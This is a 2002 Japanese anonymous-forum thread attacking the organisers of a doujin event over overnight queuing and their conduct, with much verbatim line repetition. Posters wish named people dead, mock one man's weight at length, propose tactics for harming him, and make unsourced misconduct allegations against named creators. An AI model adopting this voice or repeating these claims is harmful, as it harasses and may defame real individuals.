おいおい、このスレ以外でそんなこというなよ。そして、そういう考えは改めろな。
児ポ法や青環法の件とかで協力してくれそうな人とかもそこらへんのところを
気にしてたぞ。漏れもやだよ、そんな考えは。
では、引き続きハトコミについてどうぞ。
おいおい、このスレ以外でそんなこというなよ。そして、そういう考えは改めろな。
児ポ法や青環法の件とかで協力してくれそうな人とかもそこらへんのところを
気にしてたぞ。漏れもやだよ、そんな考えは。
では、引き続きハトコミについてどうぞ。
174 ：名無しさん＠どーでもいいことだが。：02/11/16 10:12 ID:HyLOsJBT
ため息でるよ Follow: 53 / No: 52 [返信][削除]
投稿者：管理人①・是空とおる 02/11/11 Mon 19:54:51
冬コミの準備で忙しくて何もしていません。いましばらくお待ち下さい。
メールでうるさいくらいに問い合わせがきてます。ウザいんでやめてください。
こっちにも都合があるんだからそれくらい理解して下さい。
投稿者：管理人①・是空とおる 02/11/11 Mon 19:54:51
冬コミの準備で忙しくて何もしていません。いましばらくお待ち下さい。
メールでうるさいくらいに問い合わせがきてます。ウザいんでやめてください。
こっちにも都合があるんだからそれくらい理解して下さい。
175 ：名無しさん＠どーでもいいことだが。：02/11/16 12:54 ID:OGm/Lb1C
176 ：名無しさん＠どーでもいいことだが。：02/11/16 14:19 ID:GRVuimci
主催の件云々以前にすごい言い草だな。
前からこんなんなのか？
前からこんなんなのか？
177 ：名無しさん＠どーでもいいことだが。：02/11/16 14:52 ID:24nNfHVx
>174
感動した！ 是空、きみはきっとやってくれる奴だと思っていた。
しかしこんなやつしか手下に居ないみやむーとみつみって…
感動した！ 是空、きみはきっとやってくれる奴だと思っていた。
しかしこんなやつしか手下に居ないみやむーとみつみって…
178 ：名無しさん＠どーでもいいことだが。：02/11/16 15:26 ID:O1n8txUg
宮村優子がどうかしましたか？
179 ：名無しさん＠どーでもいいことだが。：02/11/16 15:30 ID:93vCTPjp
是空死ねよ！
180 ：名無しさん＠どーでもいいことだが。：02/11/16 19:15 ID:cfynmWHv
馬鹿は死んでも治らないよ
181 ：名無しさん＠どーでもいいことだが。：02/11/16 19:41 ID:UQku++o6
２週間も引っ張れたんだし、おまいら元は取れたと思いませんか？ｗ
182 ：名無しさん＠どーでもいいことだが。：02/11/16 20:17 ID:0wnDgOyv
183 ：名無しさん＠どーでもいいことだが。：02/11/16 20:18 ID:0wnDgOyv
184 ：名無しさん＠どーでもいいことだが。：02/11/16 20:20 ID:ZlMMT6XH
かきなおすほどのことか？
185 ：名無しさん＠どーでもいいことだが。：02/11/16 20:35 ID:5zw108XP
まぁ「おまんこ」を全部「さいたま」に脳内変換するとそれなりに楽しめたけどな。
186 ：名無しさん＠どーでもいいことだが。：02/11/16 20:38 ID:Ny0zE42G
っつかなんでY田に借金してるんだよ？＞是空
187 ：名無しさん＠どーでもいいことだが。：02/11/16 22:01 ID:2HcvRIWZ
自分が主催のイベントの対応よりも冬コミ優先かよ・・・呆れるよ。
>186
他の誰ひとり貸してはくれなかったからですが、何か？
他の誰ひとり貸してはくれなかったからですが、何か？
189 ：名無しさん＠どーでもいいことだが。：02/11/16 22:34 ID:6uSO16tg
190 ：名無しさん＠どーでもいいことだが。：02/11/16 22:46 ID:RNgfM1MQ
>>189
いや、昨今の金融諸問題を見ているとその事例をあてはめるのは無理があるな。
信用ある個人や法人でも最初からノンバンクに借りさせるメガバンクは多いよ。
というか、もう全部そうだったな。
是空の財務的信用というのは都銀や地銀、信金他から借りれないといっても、
昨今日経連に加盟できた武富士とかから借りれる位はあると思うが。
けんか売り歩いてなきゃ借りれると思うんだがねえ。
いや、昨今の金融諸問題を見ているとその事例をあてはめるのは無理があるな。
信用ある個人や法人でも最初からノンバンクに借りさせるメガバンクは多いよ。
というか、もう全部そうだったな。
是空の財務的信用というのは都銀や地銀、信金他から借りれないといっても、
昨今日経連に加盟できた武富士とかから借りれる位はあると思うが。
けんか売り歩いてなきゃ借りれると思うんだがねえ。
191 ：名無しさん＠どーでもいいことだが。：02/11/16 23:28 ID:25oZo6uo
>>186
会社作ったから。
会社作ったから。
192 ：名無しさん@どーでもよかんべ：02/11/16 23:45 ID:hXYnspt5
経費の中に借金返済分ってのがあるんですね？
＜みさきせんせー
＜みさきせんせー
193 ：名無しさん＠どーでもいいことだが。：02/11/17 00:50 ID:6MpUCE1F
森下直人>>>>>>>>>>>>>>>>石井和義>>>横田・是空
194 ：名無しさん＠どーでもいいことだが。：02/11/17 10:19 ID:ZI7GttXH
何回も言ってるけど
とりあえず不買運動からはじめるしかねーだろ
大同人物語でもあっただろ
オタク侮蔑して本売れなかった奴（藁
是空、横田もそうさせてやるしかない。
オタクって本とか限定品とか絡むと正常な判断できなくなっちゃう傾向がありがちだけど
我慢しよう。何でも小さなとこから初めてくしかない。
思うにオタクってこれができないからナメラレルんだよな。
トリアエズ俺は友達に関連商品買わないよう呼びかけるよ。
まぁ是空買ってる奴はハナから一人もいなかったが（ﾜﾗ
とりあえず不買運動からはじめるしかねーだろ
大同人物語でもあっただろ
オタク侮蔑して本売れなかった奴（藁
是空、横田もそうさせてやるしかない。
オタクって本とか限定品とか絡むと正常な判断できなくなっちゃう傾向がありがちだけど
我慢しよう。何でも小さなとこから初めてくしかない。
思うにオタクってこれができないからナメラレルんだよな。
トリアエズ俺は友達に関連商品買わないよう呼びかけるよ。
まぁ是空買ってる奴はハナから一人もいなかったが（ﾜﾗ
195 ：名無しさん＠どーでもいいことだが。：02/11/17 10:49 ID:rk2SU/0+
冬コミの丹下のブースに「デブの家」って貼り紙しとく
196 ：名無しさん＠どーでもいいことだが。：02/11/17 16:13 ID:P73idmeo
横田の同人エロCDをソフ倫に送りつけると、テリオスが色々と
大変な目にあう可能性があるらしいぞ(笑)。これならピンポイン
トで横田のみにダメージいくからオススメですね。
大変な目にあう可能性があるらしいぞ(笑)。これならピンポイン
トで横田のみにダメージいくからオススメですね。
197 ：名無しさん＠どーでもいいことだが。：02/11/17 16:26 ID:1y2yrBU/
>>196
じゃあ、漏前送ってくだちぃ。よろしく(´ω｀)ノ
じゃあ、漏前送ってくだちぃ。よろしく(´ω｀)ノ
198 ：名無しさん＠どーでもいいことだが。：02/11/17 16:32 ID:6XV/rD7I
199 ：名無しさん＠どーでもいいことだが。：02/11/17 17:08 ID:P73idmeo
200 ：名無しさん＠どーでもいいことだが。：02/11/17 17:12 ID:pAlhblrv
本日のティアにZQNいたもよう
201 ：名無しさん＠どーでもいいことだが。：02/11/17 20:46 ID:KSMeRjqD
>>199
Winnyでいやほど転がってると思われ
Winnyでいやほど転がってると思われ
202 ：名無しさん＠どーでもいいことだが。：02/11/17 21:18 ID:OIKBkxjM
203 ：名無しさん＠どーでもいいことだが。：02/11/17 21:22 ID:SrpmJO6T
http://kanaharap.tripod.co.jp/
http://kanaharap.tripod.co.jp/top.html
http://kanaharap.tripod.co.jp/yuutai.html
http://kanaharap.tripod.co.jp/top.html
http://kanaharap.tripod.co.jp/yuutai.html
204 ：名無しさん＠どーでもいいことだが。：02/11/17 22:37 ID:8+AQPAk0
焚書しますた
205 ：名無しさん＠どーでもいいことだが。：02/11/18 01:38 ID:ko91jmmx
是空なんてかわね。
横田を買えなくできたら本物だな。多分無理だけど。
ただし、俺は金輪際買わないようにはする。
まあでも無理でしょ。他のやつがどうせ買うだろ。
横田を買えなくできたら本物だな。多分無理だけど。
ただし、俺は金輪際買わないようにはする。
まあでも無理でしょ。他のやつがどうせ買うだろ。
206 ：名無しさん＠どーでもいいことだが。：02/11/18 01:47 ID:RWW3GOE6
>205
つき合うぞ
俺もＺ、Ｙ、残虐は二度と買わない
他の奴は知らないけどね
メッチャ腹立って仕方ない
俺が買わなくても、奴らは痛くも痒くもないだろーけど、
此処を買うと、自分が許せない気がする
つき合うぞ
俺もＺ、Ｙ、残虐は二度と買わない
他の奴は知らないけどね
メッチャ腹立って仕方ない
俺が買わなくても、奴らは痛くも痒くもないだろーけど、
此処を買うと、自分が許せない気がする
207 ：名無しさん＠どーでもいいことだが。：02/11/18 02:12 ID:K7GGbCY3
>>205
協賛サークルの本は「並んですぐ買える程度の列なら買うかも」レベル
だから、おれはいくらでも不買はできるがな(笑)。あ、づらとはらしょーは
つまらないので毎回スルーだ。あと横田のところは、昔ウロボロスの本と
抱き合わせで野々村病院原画集買わされたぐらいですな（藁。
協賛サークルの本は「並んですぐ買える程度の列なら買うかも」レベル
だから、おれはいくらでも不買はできるがな(笑)。あ、づらとはらしょーは
つまらないので毎回スルーだ。あと横田のところは、昔ウロボロスの本と
抱き合わせで野々村病院原画集買わされたぐらいですな（藁。
208 ：名無しさん＠どーでもいいことだが。：02/11/18 02:24 ID:ko91jmmx
信者を不買させることは無理だから
「友達のついでで購入」「なんとなく購入」しようとしたサークルが
横田だったら、やめようではないか運動ぐらいが限界だろうね～。
それで本が余ったら楽しいんだが。
疥癬って、共同購入してると友達ついででとりあえずMAX買いとかするケースって
大手だとあると思うわけよ。それだけでもやめれば・・・
「友達のついでで購入」「なんとなく購入」しようとしたサークルが
横田だったら、やめようではないか運動ぐらいが限界だろうね～。
それで本が余ったら楽しいんだが。
疥癬って、共同購入してると友達ついででとりあえずMAX買いとかするケースって
大手だとあると思うわけよ。それだけでもやめれば・・・
横田守写真集なら、買ってもいい。 ＞丹下
210 ：名無しさん＠どーでもいいことだが。：02/11/18 03:10 ID:Rnxaw3hT
>>208
Ｙは確か夏コミのＲＯＭ２種は余らせて
結局数年ぶりに書店卸をしたのではなかったか。
何年か前からあそこは異様に薄い＆安っぽい（特急印刷？）本か
リメイク本、もしくはテレカしか出さないので
漏れは買わなくなって久しい・・・。
Ｚは論外。
夏は本当に余ったのだとしたら買う側も
一応見るところは見ているのかな？と思ったり。
Ｙは確か夏コミのＲＯＭ２種は余らせて
結局数年ぶりに書店卸をしたのではなかったか。
何年か前からあそこは異様に薄い＆安っぽい（特急印刷？）本か
リメイク本、もしくはテレカしか出さないので
漏れは買わなくなって久しい・・・。
Ｚは論外。
夏は本当に余ったのだとしたら買う側も
一応見るところは見ているのかな？と思ったり。
211 ：名無しさん＠どーでもいいことだが。：02/11/18 07:02 ID:qvKX3jdA
いくらでも代わりの居る疥癬が何騒いでもな～
所詮数万の群れの中の一匹に過ぎないんだし…
群れの向きを変えるほどの大物も居ないようだしな。
所詮数万の群れの中の一匹に過ぎないんだし…
群れの向きを変えるほどの大物も居ないようだしな。
212 ：名無しさん＠どーでもいいことだが。：02/11/18 07:20 ID:xkQqotgt
213 ：名無しさん＠どーでもいいことだが。：02/11/18 07:44 ID:hFeAJKcf
豚の皆さん与えられたエサは有り難く頂きましょう。
214 ：名無しさん＠どーでもいいことだが。：02/11/18 11:16 ID:ko91jmmx
>>211
オマエモナー
（てか「大物」って何(ﾌﾟｯ 言ってて恥ずかしくないのかしら）
>>212
ちゃん様に関してはさすがに今回の件で「アホだ」とは思われても
買う買わないなんてことにならないだろうね。
てか協賛サークルなんてみんなそうだろう。利用されただけ。
オマエモナー
（てか「大物」って何(ﾌﾟｯ 言ってて恥ずかしくないのかしら）
>>212
ちゃん様に関してはさすがに今回の件で「アホだ」とは思われても
買う買わないなんてことにならないだろうね。
てか協賛サークルなんてみんなそうだろう。利用されただけ。
215 ：名無しさん＠どーでもいいことだが。：02/11/18 11:41 ID:kEplCfI7
216 ：名無しさん＠どーでもいいことだが：02/11/18 11:46 ID:zu5WzyBK
元々、Ｙ田絵が好きなのであって
本人が何してても別に構わんよｗ
本人が何してても別に構わんよｗ
217 ：名無しさん＠どーでもいいことだが。：02/11/18 11:47 ID:5pgJF0n6
>211は
自分が選挙行ってもたった一票にしかならないんだから
意味ねーと考えてそうな奴だな（ﾜﾗ
自分が選挙行ってもたった一票にしかならないんだから
意味ねーと考えてそうな奴だな（ﾜﾗ
218 ：名無しさん＠どーでもいいことだが。：02/11/18 15:41 ID:kEplCfI7
選挙に行かねー糞が国政にケチを付けるな
219 ：名無しさん＠どーでもいいことだが。：02/11/18 16:47 ID:ase8sqee
まぁ、今回はＹ田の勝ちだな。
Ｙ田オタなら、もともとＹ田がどういう人間か知ってるから
イメージダウンしないんだよ。
むしろ、こんなもんじゃないよと嘯いているかもしれん。
Ｚ空の一人負けだな。
Ｙ田オタなら、もともとＹ田がどういう人間か知ってるから
イメージダウンしないんだよ。
むしろ、こんなもんじゃないよと嘯いているかもしれん。
Ｚ空の一人負けだな。
220 ：名無しさん＠どーでもいいことだが。：02/11/18 17:25 ID:CLGijwXi
ぜくうたんってめだちたがりなんだね。
実力も無いのに。
実力も無いのに。
221 ：名無しさん＠どーでもいいことだが。：02/11/18 17:50 ID:SCEVWpjl
実力がないから違うところで目立ちたいんだろ
222 ：名無しさん＠どーでもいいことだが。：02/11/18 19:21 ID:7r39drOE
>>221
腹えりすんと一緒だなー
腹えりすんと一緒だなー
223 ：名無しさん＠どーでもいいことだが。：02/11/18 19:40 ID:5pgJF0n6
>218
文盲？
民主主義にはｹﾁつけてないよ。
ｽﾚ違いsage
文盲？
民主主義にはｹﾁつけてないよ。
ｽﾚ違いsage
224 ：名無しさん＠どーでもいいことだが。：02/11/18 21:01 ID:5dF+zCF4
ここで騒いだところで何も変わらない。
口だけの香具師しか居ないんだから。
でも、ネオ麦やディレみたいに実行に移されても、いろいろと、なぁ…
口だけの香具師しか居ないんだから。
でも、ネオ麦やディレみたいに実行に移されても、いろいろと、なぁ…
225 ：名無しさん＠どーでもいいことだが。：02/11/18 21:13 ID:ZOt7vzD1
Zに正義の鉄槌をとかいってるヤシ(･A･)ｶｺﾜﾙｲ
自分が買いたくないならそうすればいいだけ。
自分が買いたくないならそうすればいいだけ。
226 ：名無しさん＠どーでもいいことだが。：02/11/18 22:24 ID:oNiN1spR
>>224
でもまあ、そういう事件っていうのは起きてしまうときは起きてしまうもんだ。
関係者になってしまった方はそれなりに身を守る算段をすべきだと思う。
>>225
鉄槌なんてもんは落ちてしまったときに、落ちたねえと言うもんよ。
因果応報に過ぎないと思うが。一定規模以上のサークルや幹部スタッフなんてのは
それだけ業が深いんだしさ。俺様最高！なんて言ってるのが生き残ったりする世の中だし。
でもまあ、そういう事件っていうのは起きてしまうときは起きてしまうもんだ。
関係者になってしまった方はそれなりに身を守る算段をすべきだと思う。
>>225
鉄槌なんてもんは落ちてしまったときに、落ちたねえと言うもんよ。
因果応報に過ぎないと思うが。一定規模以上のサークルや幹部スタッフなんてのは
それだけ業が深いんだしさ。俺様最高！なんて言ってるのが生き残ったりする世の中だし。
227 ：名無しさん＠どーでもいいことだが。：02/11/19 10:11 ID:xT+5lsv6
正直、盛り上がればネタは何でもいいと思ってる訳で。
228 ：名無しさん＠どーでもいいことだが。：02/11/19 17:18 ID:DmceUDsA
Ｙ田が人の目を気にするような男だったら、あんなに太れるわけがないだろう！？
229 ：名無しさん＠どーでもいいことだが。：02/11/19 22:00 ID:K0Abe98b
Y田ってデブだったのか
230 ：名無しさん＠どーでもいいことだが。：02/11/19 22:13 ID:GnQCBz65
>>229
それはもう、見事に。
それはもう、見事に。
231 ：名無しさん＠どーでもいいことだが。：02/11/19 22:14 ID:iSVVDhzC
知らんで叩いてたのか（w
232 ：名無しさん＠どーでもいいことだが。：02/11/19 23:17 ID:hQ77Rky4
>>229
うむ、それはそれは見事にデブです。
どんなデブかって言うと
大同人物語で一般参加者の反感食らって不買されたむかつく男と
コミックマスターＪで「逃げるなら全力で逃げろ」とＪに言われてたデブを
足したような人間です(足して２で割らないところがミソ)。
事実は漫画よりも奇なり、ということか。
うむ、それはそれは見事にデブです。
どんなデブかって言うと
大同人物語で一般参加者の反感食らって不買されたむかつく男と
コミックマスターＪで「逃げるなら全力で逃げろ」とＪに言われてたデブを
足したような人間です(足して２で割らないところがミソ)。
事実は漫画よりも奇なり、ということか。
233 ：名無しさん＠どーでもいいことだが。：02/11/19 23:25 ID:hQ77Rky4
そんな漏れもかつてはＹ田のファン。
Ｙ田が「大○の童話」で列整理をしていた頃から。
が、そのうち妙な販売方法をはじめるようになり、
ひどい時には閉場のアナウンスが流れてからおもむろに販売とか
会場時間中に書き上げたコピー誌の原稿を
イベントスタッフにコピーに行かせたり
とんでもない販売方法で結局売れ残った同人誌を
お寺で燃やしたことを自慢げに話すのを見て
漏れはＹ田の本を買うのをやめた。
ついでにスタッフもやめて就職もしました。
Ｙ田が「大○の童話」で列整理をしていた頃から。
が、そのうち妙な販売方法をはじめるようになり、
ひどい時には閉場のアナウンスが流れてからおもむろに販売とか
会場時間中に書き上げたコピー誌の原稿を
イベントスタッフにコピーに行かせたり
とんでもない販売方法で結局売れ残った同人誌を
お寺で燃やしたことを自慢げに話すのを見て
漏れはＹ田の本を買うのをやめた。
ついでにスタッフもやめて就職もしました。
234 ：名無しさん＠どーでもいいことだが。：02/11/20 05:04 ID:Bjy2pstN
>>233
それ、全部知らないな・・。 有名な話？？
それ、全部知らないな・・。 有名な話？？
235 ：名無しさん＠どーでもいいことだが。：02/11/20 07:36 ID:zHAy/ySu
数年前の某イベントでＹＱＮが筋肉マンの落描きをしていたら
周りの連中が何事だろうと思って寄ってきて人だかりが出来た。
そこでＹＱＮが発した一言
「散れ、オタクども」
オイラが直接聞いていたので間違いない。
氏ね！横玉漏る。
周りの連中が何事だろうと思って寄ってきて人だかりが出来た。
そこでＹＱＮが発した一言
「散れ、オタクども」
オイラが直接聞いていたので間違いない。
氏ね！横玉漏る。
236 ：名無しさん＠どーでもいいことだが。：02/11/20 08:56 ID:CZQMNQN2
>235
それは自分がこれから爆散するという宣言か？
それは自分がこれから爆散するという宣言か？
237 ：名無しさん＠どーでもいいことだが。：02/11/20 09:14 ID:hisLRnVY
同人総研が更新されているな。
漏れは徹夜組ペナを行わない即売会＝悪でいいと思うぞ。
そもそも徹夜組を呼ぶ面子を集めておいて
排除のリスクを払えないと言う話がおかしいが。
漏れは徹夜組ペナを行わない即売会＝悪でいいと思うぞ。
そもそも徹夜組を呼ぶ面子を集めておいて
排除のリスクを払えないと言う話がおかしいが。
238 ：名無しさん＠どーでもいいことだが。：02/11/20 09:15 ID:jmyyPGSe
>>237
つまりコミケ準備会は悪か。
つまりコミケ準備会は悪か。
239 ：名無しさん＠どーでもいいことだが。：02/11/20 09:38 ID:FKmHbYhV
つか、比較対象を大きくし過ぎて論点ぼかしてないか？
せいぜい比較するならレヴォやサンクリでしょ。
この２つの即売会が徹夜対策していないなら
ハトフルが非難される謂れはないけどさ。
つかPIOや都産でやってる即売会だって徹夜組に苦労してるというのに
なにをいまさらって感じの説明をだらだらと・・・
せいぜい比較するならレヴォやサンクリでしょ。
この２つの即売会が徹夜対策していないなら
ハトフルが非難される謂れはないけどさ。
つかPIOや都産でやってる即売会だって徹夜組に苦労してるというのに
なにをいまさらって感じの説明をだらだらと・・・
240 ：名無しさん＠どーでもいいことだが。：02/11/20 09:43 ID:6hs1njYp
241 ：名無しさん＠どーでもいいことだが：02/11/20 11:40 ID:jOYAMIe7
そういう問題ではなく、どんなモノでも
徹夜＝悪
じゃないとダメだろ。
レボとサンクリよりも断然メンツすごかったんだし。
徹夜＝悪
じゃないとダメだろ。
レボとサンクリよりも断然メンツすごかったんだし。
242 ：名無しさん＠どーでもいいことだが。：02/11/20 12:09 ID:Vgx04unl
横田守は田吾作みたいな風体。
これは竹井正樹全盛期を知っている人間なら常識です
これは竹井正樹全盛期を知っている人間なら常識です
243 ：名無しさん＠どーでもいいことだが。：02/11/20 13:02 ID:6Ean8ZFR
SPA!の「悪魔の辞典」見てわらた。
確かに他人の言う「ハートフル」に善意なんて欠片も無いな。
確かに他人の言う「ハートフル」に善意なんて欠片も無いな。
244 ：名無しさん＠どーでもいいことだが。：02/11/20 13:16 ID:XGZG+pSF
直接鳩混に行ったわけではないので一切のコメントは差し控えてきたが
三崎の自己弁護っぷりには吐き気がしてきた。
「ちょっと」不適切？
いくら言わずもがなな大前提があったとしても、総括というのは
まさしく「総て括る」モノなのだから、きちんと論ずるべきだろう？
「わかっていただけなかったのは残念」なんて、何様だと思ってるんだ。
三崎の自己弁護っぷりには吐き気がしてきた。
「ちょっと」不適切？
いくら言わずもがなな大前提があったとしても、総括というのは
まさしく「総て括る」モノなのだから、きちんと論ずるべきだろう？
「わかっていただけなかったのは残念」なんて、何様だと思ってるんだ。
245 ：名無しさん＠どーでもいいことだが。：02/11/20 13:47 ID:C8NpkCor
折れのバイト先のコンビニで音楽の合間に○○（コンビニの名前が入る）ニュースで
「ハートフルコミニュケーション」の単語が出てくる･･･その度に悲しい思い出と怒りが･･･
「ハートフルコミニュケーション」の単語が出てくる･･･その度に悲しい思い出と怒りが･･･
246 ：名無しさん＠どーでもいいことだが。：02/11/20 15:18 ID:1a4M8HTl
Ｙ田の肥満ぶりは「歩行出来るのか？」クラス。
まぁ確実にコミケ全体でも５本の指に入るベストデブラーだね。
まぁ確実にコミケ全体でも５本の指に入るベストデブラーだね。
247 ：名無しさん＠どーでもいいことだが。：02/11/20 15:37 ID:dbLWq4hB
248 ：名無しさん＠どーでもいいことだが。：02/11/20 15:49 ID:Srgv1nCX
>>246
>>247がY田に当てはまるかどうかは知らんが、
Y田にタメ張れるのって、上層部スッタフのK野と
某えろげー絵描きのK崎と某売り子の赤ザクくらいだろ。ｗ
一般参加者でタメ張れるのは山のようにいそうだが。
>>247がY田に当てはまるかどうかは知らんが、
Y田にタメ張れるのって、上層部スッタフのK野と
某えろげー絵描きのK崎と某売り子の赤ザクくらいだろ。ｗ
一般参加者でタメ張れるのは山のようにいそうだが。
249 ：名無しさん＠どーでもいいことだが。：02/11/20 15:50 ID:vYNlDDNF
所詮はタイコモチエセ評論家でしたか・・・
250 ：名無しさん＠どーでもいいことだが。：02/11/20 16:27 ID:QKTbeaTF
徹夜の問題はコミケと並列に扱うべきではないね。
けどコミケは自他共に認める日本最大の同人誌即売会だし、
まだまだマシな隔離スペースもある。あくまで比較の問題であって
別に隔離できるから徹夜していいって言ってるわけではないが。
（そして現状ではビッグサイトは隔離場所としては最高級だろう）
徹夜問題が発生するのがわかってるイベントを開くなら
最低限の配慮としての会場選びの選択肢である。
ここを選ばないのなら、最大限他の手段で徹夜の対策をするべきである。
でもサンシャインとかは場所の都心度も会場の規模も違う。
無茶な有名サークル集めをしたのに会場は狭い、
徹夜は大量招致、早朝の都心にヲタを集めさせた。徹夜を捌くには
不適切な会場。
徹夜対策なんてやる気がないとバレバレだから徹夜するやつもつけあがる。
結局無茶な計画を立てた無能を擁護する術なんてないのだ。
おいYQN、そこのデブのお前のことだよ！！
けどコミケは自他共に認める日本最大の同人誌即売会だし、
まだまだマシな隔離スペースもある。あくまで比較の問題であって
別に隔離できるから徹夜していいって言ってるわけではないが。
（そして現状ではビッグサイトは隔離場所としては最高級だろう）
徹夜問題が発生するのがわかってるイベントを開くなら
最低限の配慮としての会場選びの選択肢である。
ここを選ばないのなら、最大限他の手段で徹夜の対策をするべきである。
でもサンシャインとかは場所の都心度も会場の規模も違う。
無茶な有名サークル集めをしたのに会場は狭い、
徹夜は大量招致、早朝の都心にヲタを集めさせた。徹夜を捌くには
不適切な会場。
徹夜対策なんてやる気がないとバレバレだから徹夜するやつもつけあがる。
結局無茶な計画を立てた無能を擁護する術なんてないのだ。
おいYQN、そこのデブのお前のことだよ！！
251 ：名無しさん＠どーでもいいことだが。：02/11/20 17:07 ID:sqfN0TXs
今回の更新で一番頭にきてるのはラグフェス主催者じゃないのかな。
ラグフェスの切って捨てた感想に比べればなんとまあ、
する必要のないフォローに満ち溢れた、ハートフルな感想なんでしょう。
ラグフェスも形だけでもハートフルラグフェスとかいう名前にしとけば
こういうフォローがもらえたのかな？
ラグフェスの切って捨てた感想に比べればなんとまあ、
する必要のないフォローに満ち溢れた、ハートフルな感想なんでしょう。
ラグフェスも形だけでもハートフルラグフェスとかいう名前にしとけば
こういうフォローがもらえたのかな？
252 ：名無しさん＠どーでもいいことだが。：02/11/20 17:56 ID:SLlT+W48
253 ：名無しさん＠どーでもいいことだが。：02/11/20 18:01 ID:U8KJKja0
>>232>>234>>234
まじかるカナンが発売された前後のお話。
その頃のスタッフとか疥癬とか
中古ショップにつながりのある人間には知られた話だと思う。
そのことに触れた同人誌が発行されるくらい。
Ｙ田のような痛いサークルだけでなく
Ｉ川、Ｋ野の醜いところを見て辞めたスタッフたちも数多くいる。
脱線してすまんが、準備会はスタッフ全体のモラルを問う前に
上の人間の姿勢を正さなければ真似する人間が出てくということを～
いや…言っても無駄か、上の人間こそが準備会そのものなのだから。
ねえ、「スタッフを代表して」夏のおに○り君を１３０冊取り置きしたＩ川さん。
まじかるカナンが発売された前後のお話。
その頃のスタッフとか疥癬とか
中古ショップにつながりのある人間には知られた話だと思う。
そのことに触れた同人誌が発行されるくらい。
Ｙ田のような痛いサークルだけでなく
Ｉ川、Ｋ野の醜いところを見て辞めたスタッフたちも数多くいる。
脱線してすまんが、準備会はスタッフ全体のモラルを問う前に
上の人間の姿勢を正さなければ真似する人間が出てくということを～
いや…言っても無駄か、上の人間こそが準備会そのものなのだから。
ねえ、「スタッフを代表して」夏のおに○り君を１３０冊取り置きしたＩ川さん。
254 ：名無しさん＠どーでもいいことだが。：02/11/20 18:04 ID:U8KJKja0
これ以上は漏れの匿名性が失われるので勘弁してください。
久しぶりに熱くなっちまいました
久しぶりに熱くなっちまいました
255 ：名無しさん＠どーでもいいことだが。：02/11/20 21:43 ID:n4vo+1tO
>245
サークルKか？
漏れも確かに聞く度に怒りが…
サークルKか？
漏れも確かに聞く度に怒りが…
256 ：名無しさん＠どーでもいいことだが。：02/11/20 22:07 ID:LGs1ETXx
どうもＭ崎タンは、ハトコミの問題を単に「徹夜ペナ」だけに限って
論じたいらすぃね。本質はもっと別のところに有るとおもうんだけど。
しがらみに縛られて言いたいことが言えず遠慮してるくらいなら、
最初っから評論などやらないことだ。何を偉そうに評論家サマか（藁。
論じたいらすぃね。本質はもっと別のところに有るとおもうんだけど。
しがらみに縛られて言いたいことが言えず遠慮してるくらいなら、
最初っから評論などやらないことだ。何を偉そうに評論家サマか（藁。
257 ：名無しさん＠どーでもいいことだが。：02/11/20 22:21 ID:DE7wU+rI
哲也対策に関してはレヴォやサンクリでペナルティ制を導入して
そこそこ実績をあげつつあるからなあ・・・、
それをチャラにしちゃったハトコミの罪は重いと思われ。。
で、Ｍ崎たんはＨＰ上で暴動が怖いと言うけど徹夜する連中がが
やくざや暴走族じゃないんだからそこらへん考慮すれ。
（一部の舞い上がったＤＱＮが哲也組を扇動して・・・、
って可能性も捨てきれないけど）
コミケにしても建設中の癌研病院が完成したら大幅な哲也対策の
変更は免れないと思われ。
そこそこ実績をあげつつあるからなあ・・・、
それをチャラにしちゃったハトコミの罪は重いと思われ。。
で、Ｍ崎たんはＨＰ上で暴動が怖いと言うけど徹夜する連中がが
やくざや暴走族じゃないんだからそこらへん考慮すれ。
（一部の舞い上がったＤＱＮが哲也組を扇動して・・・、
って可能性も捨てきれないけど）
コミケにしても建設中の癌研病院が完成したら大幅な哲也対策の
変更は免れないと思われ。
258 ：名無しさん＠どーでもいいことだが。：02/11/20 22:51 ID:mG9Vv9F8
>>257
スレ違いだが・・有明の徹夜の件、
完成まで待つ必要はない。
地下埋設物の切り廻しさえ終わってしまえば
駐車場での工事はすぐにでも始めてしまうだろう。
極端な話、道路管理者がその気にさえなれば
この冬コミから「北1使用不可」になってしまう。
港湾局か、所管の（都 建設局の）建設事務所（五建）の号令一つで
想定されている待機列の問題、すぐにでも顕在化するんだわ（＾＾；。
可能性は低いけどね。
（鍵を握る人物のひとりが急性疾患で亡くなって、部署内が混乱してるから）
スレ違いだが・・有明の徹夜の件、
完成まで待つ必要はない。
地下埋設物の切り廻しさえ終わってしまえば
駐車場での工事はすぐにでも始めてしまうだろう。
極端な話、道路管理者がその気にさえなれば
この冬コミから「北1使用不可」になってしまう。
港湾局か、所管の（都 建設局の）建設事務所（五建）の号令一つで
想定されている待機列の問題、すぐにでも顕在化するんだわ（＾＾；。
可能性は低いけどね。
（鍵を握る人物のひとりが急性疾患で亡くなって、部署内が混乱してるから）
259 ：名無しさん＠どーでもいいことだが。：02/11/20 22:57 ID:xGT23mcX
今回も「剣聖覇王商会の是空とおる」「丹下拳闘倶楽部の横田守」の名を出せなかった三崎
「あいすとちょこ」「CUT A DASH」は名指しで「混雑の原因」として諸悪の根元のように扱っておきながら
肝心の主催者の名前を出そうとはしない
もちろんこれらのサークルは協賛である以上、責任が皆無というわけじゃないが
これらのサークルが混む事はわかっていたのに、対策を講じなかった主催の責任とは
比べものにならない
本当に総括する気ならこの辺の話は避けて通れないはず
それでも名前は出さない、出せない……
「あいすとちょこ」「CUT A DASH」は名指しで「混雑の原因」として諸悪の根元のように扱っておきながら
肝心の主催者の名前を出そうとはしない
もちろんこれらのサークルは協賛である以上、責任が皆無というわけじゃないが
これらのサークルが混む事はわかっていたのに、対策を講じなかった主催の責任とは
比べものにならない
本当に総括する気ならこの辺の話は避けて通れないはず
それでも名前は出さない、出せない……
260 ：名無しさん＠どーでもいいことだが。：02/11/20 23:19 ID:DE7wU+rI
Ｍ崎は「あぶない探偵」と言うＨＰで漫画家志望の女子を言葉巧みにだまして
喰いまくってたＭ鍋 譲治が伊東岳彦先生にその事を糾弾されて廃業寸前に
まで追い込まれたと言う記事を「あの人は喧嘩っぱやいからなー」みたいな
事をほざいて真鍋の肩を持った＆けん制したしな。
つかケダモノの肩を持ってどうするんだＭ崎よ？。
喰いまくってたＭ鍋 譲治が伊東岳彦先生にその事を糾弾されて廃業寸前に
まで追い込まれたと言う記事を「あの人は喧嘩っぱやいからなー」みたいな
事をほざいて真鍋の肩を持った＆けん制したしな。
つかケダモノの肩を持ってどうするんだＭ崎よ？。
261 ：名無しさん＠どーでもいいことだが。：02/11/20 23:44 ID:Sa4c6dHK
いくら2ちゃんねらーといえどいろんな物の考え方の人がいるはず。
